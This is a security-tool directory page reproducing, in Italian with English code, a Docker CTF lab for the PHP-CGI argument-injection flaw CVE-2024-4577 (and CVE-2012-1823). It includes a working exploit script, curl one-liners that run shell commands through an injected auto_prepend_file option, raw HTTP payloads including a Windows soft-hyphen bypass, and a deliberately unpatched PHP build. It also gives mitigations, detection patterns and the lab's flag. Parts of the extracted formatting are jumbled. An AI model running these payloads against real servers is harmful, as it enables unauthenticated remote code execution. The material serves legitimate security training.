Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2024-4577-lab — # Laboratorio CTF basato su Docker che dimostra CVE-2024-4577, iniezione di argomenti PHP-CGI che porta a RCE. Include PHP 5.4.1 CGI vulnerabile, script di exploit e recupero della flag. | Kitploit
Strumenti/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

# Laboratorio CTF basato su Docker che dimostra CVE-2024-4577, iniezione di argomenti PHP-CGI che porta a RCE. Include PHP 5.4.1 CGI vulnerabile, script di exploit e recupero della flag.

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-4577 — Iniezione di Argomenti PHP-CGI → RCE (Laboratorio Docker / CTF)

Un laboratorio Docker autonomo, creato da zero, che dimostra la primitiva reale di iniezione di argomenti → Esecuzione Remota di Codice alla base di CVE-2024-4577. Sfruttalo su http://localhost:8080, ottieni una shell e leggi la flag dall'interno del container.

Questa è una vulnerabilità genuina, non simulata. Il container compila un binario PHP 5.4.1 CGI non patchato e lo collega dietro Apache esattamente come sono configurati i host vulnerabili reali. Non c'è alcun falso controllo "if password == flag" da nessuna parte — l'unico modo per ottenere la flag è ottenere effettivamente l'esecuzione di codice.


⚠️ Leggi prima questo — Linux vs. Windows (importante e onesto)

Il payload caratteristico di CVE-2024-4577 usa %AD (un trattino morbido). Quel trucco funziona solo su Windows, perché la codifica dei caratteri "Best-Fit" di Windows converte il byte 0xAD in un vero - () che la patch di CVE-2012-1823 di PHP ha già controllato la stringa di query. Quella conversione di codifica viene eseguita da —

``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------
0x2D
dopo
Windows stesso
non avviene all'interno di un normale container Docker Linux.

Quindi, un laboratorio Linux fedele e eseguibile sulla tua macchina riproduce la stessa identica primitiva RCE — iniezione di opzioni php-cgi tramite l'URL → -d auto_prepend_file=php://input → esecuzione di codice — usando la forma con - letterale (che è il bug padre di CVE-2024-4577, CVE-2012-1823). L'unica differenza rispetto a un vero target Windows CVE-2024-4577 è il livello di bypass di codifica %AD→-, che questo README documenta integralmente (vedi Come funziona e poc.http).

Questo laboratorio LinuxCVE-2024-4577 reale (Windows)
Componente vulnerabilephp-cgiphp-cgi
Primitiva RCE-d auto_prepend_file=php://inputidentica
Delimitatore nell'URL- letterale%AD (best-fit → -)
Bypassa la patch del 2012?N/D (PHP precede la patch)Sì, tramite best-fit di Windows
Funziona su Win 11 Home + Docker Desktop✅❌ (richiede container Windows)

Se hai specificamente bisogno della riproduzione bit-per-bit del %AD di Windows, ti serve un host Docker in grado di eseguire container Windows (Windows Server / Win Pro + Hyper-V) — non funzionerà su Windows 11 Home. Il payload Windows è incluso in poc.http come riferimento.


1. Descrizione della CVE

CVE-2024-4577 — Iniezione di Argomenti PHP CGI che porta a Esecuzione Remota di Codice. Scoperta da DEVCORE (Orange Tsai / Angelboy), divulgata 2024-06-06.

Quando PHP è distribuito in modalità CGI (o il binario php-cgi.exe è altrimenti raggiungibile) su Windows con determinate impostazioni locali di sistema (cinese tradizionale/semplificato, giapponese e altre), il server web passa la stringa di query HTTP a php-cgi come argomenti della riga di comando. Un attaccante può introdurre di nascosto opzioni della riga di comando di php-cgi (-d ...) in quella stringa di query. La conversione della tabella codici best-fit di Windows trasforma il byte del trattino morbido 0xAD (%AD) in un trattino ASCII -, che elude l'indurimento di CVE-2012-1823 e consente all'attaccante di impostare direttive INI PHP arbitrarie — la più utile è auto_prepend_file=php://input con allow_url_include=1, che esegue il corpo della richiesta fornito dall'attaccante come PHP. Risultato: esecuzione remota di codice non autenticata. È stato armato nel mondo reale entro pochi giorni (ad es. ransomware TellYouThePass).

2. Causa principale

  1. CGI passa la stringa di query come argv. Secondo RFC 3875, se la stringa di query di una richiesta CGI non contiene = non codificato, il server la divide su +, decodifica ogni parola dall'URL e passa le parole al programma CGI come argomenti della riga di comando. php-cgi riceve quindi un argv controllato dall'attaccante.

  2. php-cgi interpreta quegli argv come opzioni. Storicamente php-cgi interpretava -d chiave=valore, -T, ecc. da quell'argv. Fornire -d allow_url_include=1 -d auto_prepend_file=php://input fa sì che PHP esegua il corpo della richiesta come codice → CVE-2012-1823.

  3. La correzione di CVE-2012-1823 è incompleta su Windows. La patch del 2012 ha aggiunto un controllo in sapi/cgi/cgi_main.c: approssimativamente "se la stringa di query (grezza) inizia con - e non ha =, salta l'analisi delle opzioni (skip_getopt)." Un attaccante che invia un - letterale ora viene bloccato.

  4. La codifica best-fit sconfigge il controllo (il bug del 2024). Su Windows, PHP converte la riga di comando usando la tabella codici della locale con mapping best-fit abilitato. L'attaccante invia %AD (byte 0xAD, trattino morbido). Al momento del controllo, il primo byte è 0xAD, non -, quindi skip_getopt non viene impostato. Successivamente, quando PHP costruisce effettivamente l'argv, Windows mappa best-fit 0xAD → -, quindi getopt ora vede -d. L'iniezione di opzioni scatta dopo il controllo che avrebbe dovuto fermarla. Quell'ordine controllo-poi-conversione è l'intera vulnerabilità.

In questo laboratorio Linux, i passaggi 1–2 sono riprodotti esattamente con un php-cgi che precede la patch del passaggio 3, quindi la forma con - letterale funziona e dimostra la RCE identica. Il passaggio 4 è il livello solo-Windows, documentato ma non eseguito (Linux non ha conversione best-fit).

3. Versioni interessate (CVE-2024-4577 reale)

Corretta in 8.3.8, 8.2.20, 8.1.29. Pertanto vulnerabili:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x, 7.x, 5.x — fine vita, non patchate, anch'esse interessate

Condizioni: sistema operativo Windows; PHP eseguito come CGI o php-cgi.exe esposto (la configurazione predefinita XAMPP su Windows è vulnerabile); una locale interessata per il percorso best-fit. (Il bug padre CVE-2012-1823 — la primitiva che questo laboratorio esegue — interessa qualsiasi sistema operativo che esegue un php-cgi precedente alla correzione del 2012 in questa configurazione.)

4. Struttura del progetto```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. Prerequisiti

- **Docker Desktop** (Windows/macOS) o Docker Engine (Linux).
  Windows 11 Home: installa Docker Desktop con il backend **WSL 2** (predefinito).
  → https://www.docker.com/products/docker-desktop/
- `curl` per lo sfruttamento (`curl.exe` è integrato in Windows 10/11; disponibile anche in
  Git Bash / WSL / macOS / Linux).
- Accesso a Internet **durante la build** (scarica il sorgente di PHP 5.4.1).

## 6. Istruzioni di build

Apri un terminale nella cartella `cve-2024-4577-lab/`.

### Opzione A — docker compose (consigliata)```bash
docker compose up --build -d

Opzione B — docker semplice

Comando di build docker:```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**comando docker run:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

La build compila PHP dal sorgente (~2–5 min la prima volta). Se fallisce sulla tua macchina (offline, senza toolchain, museum.php.net bloccato), usa l'immagine base di fallback:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. Come verificare il servizio```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
Dovresti vedere l'HTML del **Portale di Stato Interno ACME** e, cosa fondamentale:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi (cioè servito tramite php-cgi) conferma che il componente vulnerabile è nel percorso della richiesta. Controlla anche i log:```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. Passaggi di sfruttamento

La stringa di query iniettata (codificata in URL così Apache non vede **nessun `=` letterale** e
quindi la tratta come argv CGI):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi parses as:``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
Il **corpo della richiesta** diventa sorgente PHP (letto tramite `php://input`) e viene eseguito
*prima* di `index.php`.

### 8a. Il modo più semplice — esegui lo script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. Manuale — una riga curl (Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> Su **Windows PowerShell**, usa esplicitamente `curl.exe` (il `curl` di PowerShell è
> un alias per `Invoke-WebRequest` e altera la query string):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. Manuale — HTTP grezzo (Burp Repeater)

Vedi [`poc.http`](#poc-http). Incolla la richiesta #1 in Burp Repeater e inviala.

## 9. Output previsto```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

La riga uid=33(www-data) dimostra l'esecuzione arbitraria di comandi del sistema operativo come utente del server web — questa è vera esecuzione di codice, non una stringa stampata.

10. Come recuperare la flag

La flag si trova in /flag.txt all'interno del container — fuori dalla root web (/var/www/html), quindi non è raggiungibile tramite HTTP. L'unico modo per leggerla è eseguire un comando tramite la RCE:```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
Bandiera:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(In un CTF reale non ti verrebbe detto il percorso — dovresti eseguire ls -la / tramite la RCE per trovarlo. Prova bash exploit.sh http://localhost:8080 "ls -la /".)

11. Comandi di pulizia```bash

compose

docker compose down

plain docker

docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm

remove the image entirely

docker rmi cve-2024-4577-lab

nuke build cache too (optional)

docker builder prune -f

root@kitploit:~
---

## 🔬 Come funziona l’exploit, passo dopo passo

1. **Client → Apache.** Invii
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   con un payload PHP nel corpo.

2. **Routing Apache.** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` instradano la richiesta al
   binario **php-cgi** (mod_actions + mod_cgi).

3. **Query string → argv (la regola CGI).** Il `mod_cgi` di Apache vede che la
   query string **non contiene `=` non codificato** (abbiamo inviato `%3d`, non
   `=`), quindi secondo RFC 3875 divide su `+`, decodifica ogni parola dall’URL
   e le passa a php-cgi come `argv`:
   `-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.

4. **php-cgi analizza le opzioni iniettate.** Questo php-cgi (5.4.1, precedente
   alla correzione del 2012) **non ha il guard `skip_getopt`**, quindi elabora
   volentieri le opzioni `-d`:
   - `allow_url_include=1` — consente di includere PHP da wrapper di stream.
   - `auto_prepend_file=php://input` — prima di eseguire lo script richiesto,
     include ed esegue il **corpo della richiesta** come PHP.

5. **Il corpo viene eseguito come codice.** `php://input` è il tuo corpo POST,
   `<?php system('id; cat /flag.txt'); die(); ?>`. Viene eseguito come utente
   Apache (`www-data`), esegue il comando del sistema operativo, stampa il suo
   output e chiama `die()` prima che `index.php` venga mai eseguito.

6. **Esfiltrazione della flag.** `system('cat /flag.txt')` legge `/flag.txt`
   (leggibile da `www-data`) e lo restituisce nella risposta HTTP.

### Perché la vulnerabilità esiste (il "perché" più profondo)

- **La CGI confonde *argomenti* con *input utente*.** La convenzione CGI degli
  anni ’90 di trasformare una query string in `argv` era pensata per gli script
  di ricerca `<ISINDEX>`. Puntarla verso un interprete come `php-cgi`, i cui
  `argv` sono potenti interruttori di configurazione, è un errore di categoria:
  i dati controllati dall’utente diventano configurazione del programma.

- **`-d` è iniezione remota di INI.** `php-cgi -d name=value` sovrascrive
  *qualsiasi* direttiva INI a runtime, superando anche un `php.ini` indurito.
  `auto_prepend_file` + `allow_url_include` + il wrapper `php://input` si
  compongono in "esegui il corpo della richiesta", cioè RCE.

- **CVE-2024-4577 in particolare** esiste perché la correzione di
  CVE-2012-1823 controlla la query string per un `-` iniziale **prima** che
  Windows esegua la sua **conversione di codifica best-fit**. L’attaccante
  invia `%AD` (soft hyphen); non è `-` quando viene eseguito il controllo,
  quindi il guard passa, ma Windows in seguito mappa best-fit
  `0xAD → 0x2D (-)`, reintroducendo il `-` dopo il gate. **Ordine
  check-then-transform** + una codifica lossy dipendente dalla locale = un
  bypass della patch.

---

## 🛡️ Perché questa challenge resiste a "indovina la flag" / scorciatoie AI

- La flag **non è nella web root** e **non è referenziata da `index.php`**,
  quindi nessuna quantità di crawling, fuzzing o lettura del sorgente
  dell’app la rivela.
- **Non c’è backdoor logica** (nessun `if (input === flag)`), quindi un
  solver non può invertire un confronto — la flag appare solo nello stdout di
  un processo **dopo una reale esecuzione di comandi del sistema operativo**.
- Recuperarla **richiede di eseguire il vero exploit di iniezione degli
  argomenti**: codificare correttamente `=` come `%3d`, mantenere `-` come
  delimitatore di opzioni e consegnare il payload tramite `php://input`.
  Sbaglia un qualsiasi passaggio e ottieni la pagina ACME innocua, non la flag.
- Il token è una **stringa casuale ad alta entropia**, non una parola
  indovinabile.

---

## Mitigazione nel mondo reale

- Aggiorna PHP a **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **Non eseguire PHP come CGI.** Usa PHP-FPM / mod_php.
- Su Windows/XAMPP, rimuovi i mapping `ScriptAlias`/handler che espongono
  `php-cgi.exe`; blocca le richieste in cui la query string inizia con un
  soft hyphen codificato; nega `%AD` nella query string al WAF.
- Rilevamento: log web con query string contenenti `%AD`,
  `auto_prepend_file`, `allow_url_include` o `php://input`.

---

# APPENDICE — ogni file, per intero

Tutto ciò che segue è il sorgente completo di ogni file, così questo singolo
documento è completamente autonomo.

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

`Dockerfile.vulhub````dockerfile

=============================================================================

FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile

fails on your machine (e.g. no build toolchain, offline, museum.php.net

unreachable).

It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires

Apache + php-cgi in the same vulnerable way, then drops in our app + flag.

To use it:

docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .

docker run --rm -p 8080:80 cve-2024-4577-lab

or edit docker-compose.yml: dockerfile: Dockerfile.vulhub

NOTE: this pulls a third-party base image, so it is less "from scratch"

than ./Dockerfile. The exploit and README steps are identical.

=============================================================================

FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80

root@kitploit:~
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

`config/apache-vhost.conf````apache

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html

root@kitploit:~
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

Riferimenti

  • Advisory DEVCORE — "CVE-2024-4577 · PHP CGI Argument Injection" (2024-06).
  • Commit di correzione della sicurezza PHP per 8.1.29 / 8.2.20 / 8.3.8 (sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — il bug di injection degli argomenti originale che questo laboratorio riproduce.
  • RFC 3875 — The Common Gateway Interface (CGI) Version 1.1, §4.4 (riga di comando).

Solo per uso autorizzato in ambito di formazione sulla sicurezza / CTF.

Scarica lo strumento